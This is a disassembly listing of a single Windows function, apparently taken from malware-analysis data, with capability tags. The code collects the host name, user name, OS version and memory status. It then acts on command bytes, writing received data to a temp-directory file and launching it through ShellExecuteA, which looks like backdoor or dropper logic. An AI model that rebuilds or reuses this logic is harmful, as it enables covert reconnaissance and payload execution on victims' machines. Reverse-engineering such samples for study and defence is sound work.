Function at 0x4027a0
Capabilities:
Create process on windows
Get common file path
Get hostname
Get memory capacity
Get session user name

Disassembly:
sub esp, 0x460
mov eax, dword [0x40e398]
xor eax, esp
mov dword [esp + 0x45c], eax
push ebx
mov ebx, dword [esp + 0x468]
push esi
push 0x151
lea eax, [esp + 0x10]
push 0
push eax
call fcn.00404c00
push 0x104
lea ecx, [esp + 0x170]
push 0
push ecx
call fcn.00404c00
lea edx, [esp + 0x121]
push edx
lea eax, [esp + 0x17c]
push eax
mov byte [esp + 0x14b], 1
mov byte [esp + 0x14c], 7
call fcn.004023e0
add esp, 0x20
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 0xa4], 0xde16a52c
mov dword [esp + 0x108], 0xc9f5e76a
mov dword [esp + 0x10], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [esp + 0xa4]
push edx
mov dword [esp + 0xa8], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0xc8]
mov esi, 0x1f
push ecx
mov dword [esp + 0x10], esi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [esp + 8]
push edx
lea eax, [esp + 0xe8]
push eax
mov dword [esp + 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
push str.2408231139544122406276713532
lea ecx, [esp + 0x135]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
call fcn.00402700
push 0x151
lea edx, [esp + 0x10]
push edx
push 0x83
push ebx
mov byte [esp + 0x118], al
call fcn.00403ef0
test eax, eax
je 0x402c7e
push 1
push ebx
call fcn.00403d40
mov esi, eax
test esi, esi
je 0x402c7e
mov al, byte [esi + 6]
push ebp
push edi
cmp al, 0x88
jne 0x402a50
cmp dword [esi], 0x64
jbe 0x402a50
cmp byte [0x40e300], 0xbb
jne 0x402905
push 0x86
push 0x40e300
push 0x40e300
call fcn.00403310
add esp, 0xc
cmp byte [0x40e2a0], 0xbb
jne 0x402922
push 0x60
push 0x40e2a0
push 0x40e2a0
call fcn.00403310
add esp, 0xc
cmp byte [esp + 0x168], 0
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
je 0x4029a3
mov eax, dword [esi]
push eax
lea ecx, [esi + 7]
push ecx
lea edx, [esp + 0x170]
push edx
call fcn.00403240
add esp, 0xc
test eax, eax
lea eax, [esp + 0x168]
push eax
je 0x40298a
mov ecx, dword [esi]
push ecx
push 0x40e300
push 0x83
push ebx
call fcn.00404bb0
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea edx, [esp + 0x168]
push edx
push 0
push ebx
call fcn.00402510
add esp, 0xc
jmp 0x402c7c
call ebp
mov ecx, dword [esi]
push eax
push ecx
push 0x40e2a0
push 0x83
push ebx
call fcn.00404bb0
add esp, 0x18
mov edi, 1
jmp 0x4029b0
lea edx, [esp + 0x168]
push edx
push edi
call fcn.004021b0
add esp, 8
test eax, eax
je 0x4029e0
mov eax, dword [esi]
push eax
lea ecx, [esi + 7]
push ecx
lea edx, [esp + 0x170]
push edx
call fcn.00403240
add esp, 0xc
test eax, eax
jne 0x4029e8
inc edi
cmp edi, 4
jl 0x4029b0
jmp 0x402a2a
mov ecx, dword [esi]
lea eax, [esp + 0x168]
push eax
push ecx
push 0x40e300
push 0x83
push ebx
call fcn.00404bb0
add esp, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea edx, [esp + 0x168]
push edx
xor esi, esi
push esi
push ebx
call fcn.00402510
add esp, 0xc
cmp edi, 4
jl 0x402c7c
lea eax, [esp + 0x168]
push eax
call ebp
mov ecx, dword [esi]
push eax
push ecx
push 0x40e2a0
push 0x83
push ebx
call fcn.00404bb0
add esp, 0x18
jmp 0x402c75
cmp al, 0x89
jne 0x402c63
cmp dword [esi], 0x64
jbe 0x402c63
lea edx, [esp + 0x168]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x168]
push eax
call ebp
mov edi, eax
cmp byte [esp + edi + 0x167], 0x5c
je 0x402a99
mov byte [esp + edi + 0x168], 0x5c
inc edi
push 0x40b2dc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edx, edx
mov ecx, 0x14
div ecx
add edx, 0x61
push edx
lea edx, [esp + edi + 0x174]
push str._c_x._s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esi]
push eax
lea ecx, [esi + 7]
push ecx
lea edx, [esp + 0x184]
push edx
call fcn.00403240
add esp, 0x20
test eax, eax
je 0x402c19
push 0x40b2d0
lea eax, [esp + 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.2408231139544122406276713532
lea ecx, [esp + 0x270]
push ecx
call edi
push 0x40b26c
lea edx, [esp + 0x270]
push edx
call edi
mov eax, dword [0x40e38c]
push eax
lea ecx, [esp + 0x270]
push ecx
call edi
push 0x40b26c
lea edx, [esp + 0x270]
push edx
call edi
push 0x40b2cc
lea eax, [esp + 0x270]
push eax
call edi
lea ecx, [esp + 0x26c]
push ecx
call ebp
mov ebp, 0x200
sub ebp, eax
push ebp
lea edi, [esp + eax + 0x270]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebp
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0x40b26c
push edi
call fcn.00403090
add esp, 8
test eax, eax
je 0x402b95
push ebp
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 5
push 0
lea edx, [esp + 0x274]
push edx
lea eax, [esp + 0x174]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 4
lea ecx, [esp + 0x16c]
push 0
push ecx
call fcn.004035a0
add esp, 0xc
cmp byte [0x40e200], 0xba
jne 0x402bea
push 0xa0
push 0x40e200
push 0x40e200
call fcn.00403310
add esp, 0xc
mov eax, dword [esi]
lea edx, [esp + 0x168]
push edx
push eax
push 0x40e200
push 0x83
push ebx
call fcn.00404bb0
add esp, 0x14
call fcn.004024d0
mov dword [0x40f030], 1
jmp 0x402c75
cmp byte [0x40e160], 0xba
jne 0x402c39
push 0x9c
push 0x40e160
push 0x40e160
call fcn.00403310
add esp, 0xc
mov edx, dword [esi]
lea ecx, [esp + 0x168]
push ecx
push edx
push 0x40e160
push 0x83
push ebx
call fcn.00404bb0
add esp, 0x14
mov dword [0x40f030], 1
jmp 0x402c75
lea eax, [esp + 0x168]
push eax
push esi
push ebx
call fcn.00402510
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop ebp
mov ecx, dword [esp + 0x464]
pop esi
pop ebx
xor ecx, esp
call fcn.00404bd3
add esp, 0x460
ret